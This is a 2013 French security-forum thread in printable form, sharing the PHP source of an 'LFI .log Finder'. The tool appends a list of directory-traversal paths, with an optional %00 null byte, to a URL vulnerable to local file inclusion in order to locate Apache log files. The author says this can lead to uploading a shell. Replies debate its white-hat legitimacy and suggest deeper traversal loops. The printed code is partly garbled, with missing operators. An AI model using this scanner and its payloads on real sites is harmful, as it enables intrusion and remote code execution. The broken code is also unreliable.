N-PN White-Hat Project
LFI .log Finder (+ Source PHP) - Version imprimable

+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Programmation (https://dev.n-pn.fr/forum/forumdisplay.php?fid=72)
+--- Forum : Langages interprétés (https://dev.n-pn.fr/forum/forumdisplay.php?fid=27)
+--- Sujet : LFI .log Finder (+ Source PHP) (/showthread.php?tid=2642)



LFI .log Finder (+ Source PHP) - Hypnoze57 - 28-01-2013

Bonjour à tous ! Je vous présente la première version de mon LFI .log Finder.
Comme son nom l'indique, ce programme va rechercher les fichiers logs via une local file inclusion (access et error) ce qui peut vous permettre d'uploader un shell ou autre.

Un petit screen : [Image: 574665poc.png]

Et le lien : http://microglobe.p.ht/lfi_log/

Source:

Code PHP :
<?php
/****************************/
/* Tools coded by Hypnoze57 */
/****************************/

$array = array(
'../logs/access.log',
'../logs/access_log',
'../logs/error.log',
'../logs/error_log',
'../apache/logs/error.log',
'../apache/logs/access.log',
'../../apache/logs/error.log',
'../../apache/logs/access.log',
'../../../apache/logs/error.log',
'../../../apache/logs/access.log',
'../../../../../../../etc/httpd/logs/acces_log',
'../../../../../../../etc/httpd/logs/acces.log',
'../../../../../../../etc/httpd/logs/error_log',
'../../../../../../../etc/httpd/logs/error.log',
'../../../../../../../var/www/logs/access_log',
'../../../../../../../var/www/logs/access.log',
'../../../../../../../usr/local/apache/logs/access_log',
'../../../../../../../usr/local/apache/logs/access.log',
'../../../../../../../var/log/apache/access_log',
'../../../../../../../var/log/apache2/access_log',
'../../../../../../../var/log/apache/access.log',
'../../../../../../../var/log/apache2/access.log',
'../../../../../../../var/log/access_log',
'../../../../../../../var/log/access.log',
'../../../../../../../var/www/logs/error_log',
'../../../../../../../var/www/logs/error.log',
'../../../../../../../usr/local/apache/logs/error_log',
'../../../../../../../usr/local/apache/logs/error.log',
'../../../../../../../var/log/apache/error_log',
'../../../../../../../var/log/apache2/error_log',
'../../../../../../../var/log/apache/error.log',
'../../../../../../../var/log/apache2/error.log',
'../../../../../../../var/log/error_log',
'../../../../../../../var/log/error.log');
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <link rel="stylesheet" href="style.css" />
        <link rel="shortcut icon" href="icon.png">
        <title>LFI .log Finder</title>
    </head>
    <header>
    <center>
    <PRE>
  _     _____ ___     _               _____ _           _           
 | |   |  ___|_ _|   | | ___   __ _  |  ___(_)_ __   __| | ___ _ __ 
 | |   | |_   | |    | |/ _ \ / _` | | |_  | | '_ \ / _` |/ _ \ '__|
 | |___|  _|  | |   _| | (_) | (_| | |  _| | | | | | (_| |  __/ |   
 |_____|_|   |___| (_)_|\___/ \__, | |_|   |_|_| |_|\__,_|\___|_|   
                              |___/                                 
    </PRE>
    </center>
    </header>
    <body>
    <form action="" method="post">
    URL: <input type="text" name="url" size="50" placeholder="http://site.com/page.php?page=" /><br />
    Null Byte (%00): <input type="checkbox" name="nullbyte" value="true"><br />
    <input type="submit" value="Search!" />
    </form>
<?php
if(isset($_POST['url']) && !empty($_POST['url']) && !is_array($_POST['url'])) {
    
$poison false;
    if(isset(
$_POST['nullbyte'])) $poison true;
    
$url urldecode(htmlentities($_POST['url'], ENT_QUOTES));
    
$nb count($array) - 1;
    echo 
'<ul>';
    for(
$i=0;$i<=$nb;$i++) {
        
$lien $url.$array[$i]; if($poison == true) { $lien .= '%00'; }
        
$pg file_get_contents($lien);
        if(
preg_match('#Warning: include|<b>Warning</b>:  include|Warning:  include|<b>Warning:</b> include#'$pg)) {
            echo 
'<li><a href="'.$lien.'">'.$lien.'</a></li> <font color="red">[#]Not found!</font>';
        } else {
            echo 
'<li><a class="green" href="'.$lien.'">'.$lien.'</a></li> <font color="orange">[~] Found!</font>';
        }
    }
    echo 
'</ul>';
}
?>
    </body>
<footer>
    <center><br /><br />&copy; 2013 Hypnoze57</center>
</footer>
</html> 

Cordialement.


RE: LFI .log Finder - Kiwazaru - 28-01-2013

Sur un site white hat, ça le fait pas trop...


RE: LFI .log Finder - Hypnoze57 - 28-01-2013

(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...

C'est effectivement l'idée que je m'étais faite au début. Mais j'en ai au préalable discuter avec supersnail !
*EDIT: Et c'est juste pour le principe de l'outil.. Il y a bien des tutoriels de hacking alors pourquoi pas des outils..


RE: LFI .log Finder - Shirobi - 28-01-2013

(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...
Ca peut servir pour les challs et verifier nos sites... sinon C'est pas trop chapeau blanc...


Meme moi qui ne code pas bcp php ca m'a l'air facile a faire, Je me trompe?


RE: LFI .log Finder - Hypnoze57 - 28-01-2013

(28-01-2013, 21h38)Shirobi a écrit :
(28-01-2013, 21h32)ReVeRse a écrit : Sur un site white hat, ça le fait pas trop...
Ca peut servir pour les challs et verifier nos sites... sinon C'est pas trop chapeau blanc...


Meme moi qui ne code pas bcp php ca m'a l'air facile a faire, Je me trompe?

Ce n'est pas compliquer ! Il faut un minimum de connaissances.


RE: LFI .log Finder - Kiwazaru - 28-01-2013

Je dit pas que c'est anti-white hat, mais je dit juste qu'il faut que tu précise l'utilisation qui doit être faite de l’outil Wink


RE: LFI .log Finder - Di0Sasm - 28-01-2013

Bon l'outil par lui même me dérange pas, mais avec un bout de code plutôt qu'une url et un bout des logs qu'il vérifie auraient plus instructif que ça Wink.


RE: LFI .log Finder (+ Source PHP) - Hypnoze57 - 30-01-2013

Topic mis à jour ! Source ajouté !


RE: LFI .log Finder (+ Source PHP) - Swissky - 30-01-2013

Code source intéressant , merci du post, tu pourrais peut-être améliorer le tool, en faisant une boucle qui testerait plus de possibilité de répertoire. Je m'explique :
Code PHP :
$i =0;
while(
$i 10)
{
$checkpath "../".$checkpath;
$i++;

Avec checkpath , la variable contenant "../logs/access.log", cela permet de trouver quand même la LFI dans un cas où il y aurait plus de dossier Big Grin


RE: LFI .log Finder (+ Source PHP) - InstinctHack - 31-01-2013




RE: LFI .log Finder (+ Source PHP) - Swissky - 31-01-2013

Ah mais j'ai mis un code bidon pour expliquer l'idée xD (je ne l'ai pas testé, il fonctionne peut-être ^^')
Mais oui tu as bien saisi l'idée Smile


RE: LFI .log Finder (+ Source PHP) - Hypnoze57 - 01-02-2013

(31-01-2013, 11h52)khaled a écrit : @Hypnoze57
!is_array($_POST['url']) // condition inutile, car les variables get/post meme ayant une forme valide d'array php, sont considéré comme des chaines de caractères ( sauf grosse erreur de ma part)

is_array sert à protéger la variable des Full Path Disclosure !
Sinon pas mal ton code !